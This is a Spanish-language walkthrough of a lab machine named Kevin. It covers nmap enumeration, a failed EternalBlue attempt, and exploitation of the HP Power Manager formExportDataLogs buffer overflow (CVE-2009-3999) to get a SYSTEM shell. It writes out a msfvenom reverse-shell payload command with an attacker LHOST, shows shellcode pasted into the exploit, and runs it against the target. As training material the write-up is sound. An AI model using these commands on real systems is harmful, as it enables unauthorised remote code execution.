Kevin
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Kevin es una Windows 7 que expone un HP Power Manager sobre un GoAhead WebServer en el puerto 80. El SMB sale como vulnerable a MS17-010 en el escáner, pero el exploit no encuentra un named pipe accesible y se queda en nada. El camino bueno es el panel web: HP Power Manager 4.x arrastra un desbordamiento de búfer enformExportDataLogs(CVE-2009-3999) que se dispara sin autenticación. Generamos shellcode alfanumérico conmsfvenom, lo metemos en el exploit y la conexión vuelve directamente comont authority\system, porque el servicio corre con esa cuenta.
Reconocimiento
Escaneo inicial
Un ping de un solo paquete sirve para dos cosas: confirmar que la máquina responde y mirar el TTL.
ping -c 1 192.168.172.4564 bytes from 192.168.172.45: icmp_seq=1 ttl=125 time=29.4 msEl TTL llega con 125. Los sistemas Windows usan un TTL inicial de 128, y cada salto de routing lo decrementa en uno: 125 indica Windows a tres saltos (es un indicio, no una prueba, porque el TTL se puede manipular). Lanzamos un escaneo TCP completo a buen ritmo y luego identificamos versiones solo sobre los puertos abiertos.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.45PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open tcpwrappednmap -p80,135,139,445,3389,3573,49152,49153,49154,49155,49158,49160 -sCV 192.168.172.45 -oN targetedScanPORT STATE SERVICE VERSION
80/tcp open http GoAhead WebServer
|_http-title: HP Power Manager
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
| rdp-ntlm-info:
| Target_Name: KEVIN
|_ Product_Version: 6.1.7600
49152-49160/tcp open msrpc Microsoft Windows RPC
| smb-os-discovery:
| OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|_ Computer name: kevinEl cartel lo deja claro: Windows 7 Ultimate N 7600 sin Service Pack, el equipo se llama kevin y sobre el 80 corre un HP Power Manager servido por GoAhead. Una versión de Windows tan antigua y sin parchear es, por sí sola, un titular.
SMB - TCP 445
Lo primero que sugiere un Windows 7 de 2009 es MS17-010 (EternalBlue). El script de nmap lo confirma.
nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 192.168.172.45| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143Sobre el papel es un acceso directo a SYSTEM. En la práctica, no siempre. Lo guardamos como primera opción y seguimos enumerando el resto, que es lo correcto: no apostarlo todo a un único vector antes de tener el panorama completo.
HTTP - TCP 80
El puerto 80 presenta el login de HP Power Manager.

Probamos el clásico admin/admin. El panel responde Invalid user name or password.

Las credenciales por defecto no entran, pero la consola de alarmas es accesible sin autenticar y confirma que el producto está vivo y operativo. Eso ya es suficiente: con un producto y su versión, el siguiente paso no es adivinar contraseñas, sino mirar si esa pieza de software arrastra fallos conocidos.

Shell como SYSTEM
EternalBlue: el callejón sin salida
Antes de tocar la web, agotamos la opción de MS17-010. Preparamos un binario con msfvenom y un exploit de EternalBlue en un contenedor (Python 2 + impacket antiguo, para evitar problemas de dependencias) y lo lanzamos.
python send_and_execute.py 192.168.172.45 ../ms17-010.exe
Trying to connect to 192.168.172.45:445
Target OS: Windows 7 Ultimate N 7600
Not found accessible named pipe
DoneEl exploit reconoce el objetivo pero se rinde con Not found accessible named pipe. EternalBlue necesita poder abrir un named pipe a través de la sesión nula de SMB para colocar la backdoor; si la configuración del recurso IPC$ no expone un pipe utilizable de forma anónima, el ataque no arranca por mucho que el parche falte. Que nmap marque VULNERABLE significa que el sistema operativo es susceptible, no que el exploit concreto vaya a tener éxito en esa instalación. Es la diferencia entre indicio y prueba: toca cambiar de vector.
HP Power Manager: búsqueda de exploit
Volvemos al puerto 80 y buscamos por el producto.
searchsploit 'HP Power Manager'
HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Meta | cgi/remote/18015.rb
Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Ov | windows/remote/16785.rb
Hewlett-Packard (HP) Power Manager Administration Power Manager Admi | windows/remote/10099.pyHay dos familias de fallos en este producto: un desbordamiento en la página de login (Administration) y otro en formExportDataLogs. Este último es CVE-2009-3999: un desbordamiento de búfer de pila en goform/formExportDataLogs que se dispara con un parámetro fileName excesivamente largo y, lo más importante, no requiere autenticación. Encaja perfecto: tenemos la consola accesible pero sin login válido.
CVE-2009-3999: formExportDataLogs BoF
En lugar del módulo de Metasploit usamos una versión en Python ya preparada (repo, un fork del exploit de Muhammd). Conviene avisar de un detalle: el fichero se distribuye como CVE2009-2585_HP_Power_Manager_BoF.py, pero ese identificador es un error del autor; la vulnerabilidad que explota (formExportDataLogs) es CVE-2009-3999.

git clone https://github.com/n4xh4ck5/CVE2009-2585_HP_Power_Manager_BoFEl exploit trae un hueco para pegar nuestro propio shellcode. Lo generamos con msfvenom respetando dos condiciones del campo vulnerable:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.239 LPORT=4444 EXITFUNC=thread \
-b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' \
-e x86/alpha_mixed --platform windows -f pythonLas dos condiciones son la clave del payload:
-e x86/alpha_mixedproduce shellcode puramente alfanumérico. ElfileNamese acaba reflejando dentro de un mensaje de error tratado como cadena, así que un shellcode normal lo destrozarían los caracteres no imprimibles; un codificador alfanumérico esquiva ese tratamiento.EXITFUNC=threadhace que, al terminar, solo muera el hilo desbordado y no todo el proceso del servicio. Así HP Power Manager sigue en pie y la shell no se cae con él.
La lista de bad chars (-b) excluye los bytes que rompen el desbordamiento (el nulo \x00, el salto de línea \x0a, el retorno \x0d y varios símbolos que el servidor interpreta). Pegamos el buf resultante en el exploit, detrás del egg b33fb33f.
Merece la pena abrir la caja negra, porque es justo lo que promete el #buffer-overflow de la máquina. Un desbordamiento de búfer de pila funciona así: el fileName que enviamos es más largo de lo que el búfer reserva en la pila y, al desbordarse, sobrescribe la dirección de retorno guardada; cuando la función termina, la CPU salta a la dirección que hayamos colocado ahí y ejecuta nuestro shellcode. El exploit ya trae resuelto el offset exacto hasta esa dirección de retorno y el salto, así que nosotros solo aportamos un shellcode que respete las restricciones del campo. El b33fb33f es el egg: un marcador reconocible que señala dónde empieza el shellcode; en esta familia de desbordamientos, cuando el espacio contiguo controlado es pequeño, se combina con un egghunter (un stub corto que rastrea la memoria del proceso buscando ese patrón b33fb33f y, al encontrarlo, salta al código que va justo detrás), lo que permite alojar el shellcode grande en otra región de memoria del propio servicio.

GNU nano 8.7 CVE2009-2585_HP_Power_Manager_BoF.py
PORT = 80
#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.120 LPORT=443 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
egg="b33fb33f"
buf= egg
#Change the below payload with your data (LHOST)
buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x0e\x96\x95\x85\xb9\x83\xee\xfc\xe2\xf4"Ponemos un listener a la escucha en el 4444 con penelope, un manejador de shells estilo netcat (un nc con rlwrap sirve igual):
penelope 4444y lanzamos el exploit contra el objetivo.
python2 CVE2009-2585_HP_Power_Manager_BoF.py 192.168.172.45[+] Payload Fired ... She will be back in less than a min ...
[+] Give me 30 Sec!Menos de un minuto después, la conexión vuelve. Y vuelve directamente como nt authority\system: el servicio de HP Power Manager corre con la cuenta SYSTEM, así que el código que inyectamos hereda ese contexto. No hay escalada que hacer, el desbordamiento ya nos deja en lo más alto.

proof.txt
Con la shell de SYSTEM, leemos la prueba y comprobamos de paso la IP y el nombre del equipo.
type C:\Users\Administrator\desktop\proof.txt && ipconfig && hostname && whoami3bba4e17a6cfabf703c0525297e636fc
...
IPv4 Address. . . . . . . . . . . : 192.168.172.45
kevin
nt authority\system
3bba4e17a6cfabf703c0525297e636fcCadena de ataque
nmap ──> 80/tcp: HP Power Manager (GoAhead) ──> CVE-2009-3999 (formExportDataLogs BoF)
│ shellcode alfanumérico (alpha_mixed)
v
reverse shell como nt authority\system
│
v
proof.txt
[ camino descartado ] 445/tcp: MS17-010 "VULNERABLE" en nmap, pero sin named pipe accesibleLecciones aprendidas
- Que el escáner diga
VULNERABLEno garantiza que el exploit funcione. MS17-010 salía marcado y aun así EternalBlue no encontró un named pipe accesible. Conviene distinguir el indicio (sistema operativo susceptible) de la prueba (exploit ejecutado con éxito), y no apostarlo todo a un solo vector. - Software de gestión viejo expuesto a la red es un objetivo de primer orden. HP Power Manager 4.x arrastra un desbordamiento de 2009 explotable sin credenciales; identificar el producto y su versión vale más que cualquier fuzzing de contraseñas.
- El contexto del servicio decide el botín. El proceso vulnerable corría como SYSTEM, así que un único desbordamiento entrega el máximo privilegio sin pasos intermedios. Ejecutar servicios con cuentas de mínimo privilegio habría limitado el alcance del fallo.
- El payload se ajusta al contexto del fallo. El campo se reflejaba como cadena en un mensaje de error, de ahí el shellcode alfanumérico (
alpha_mixed) y elEXITFUNC=threadpara no tumbar el servicio.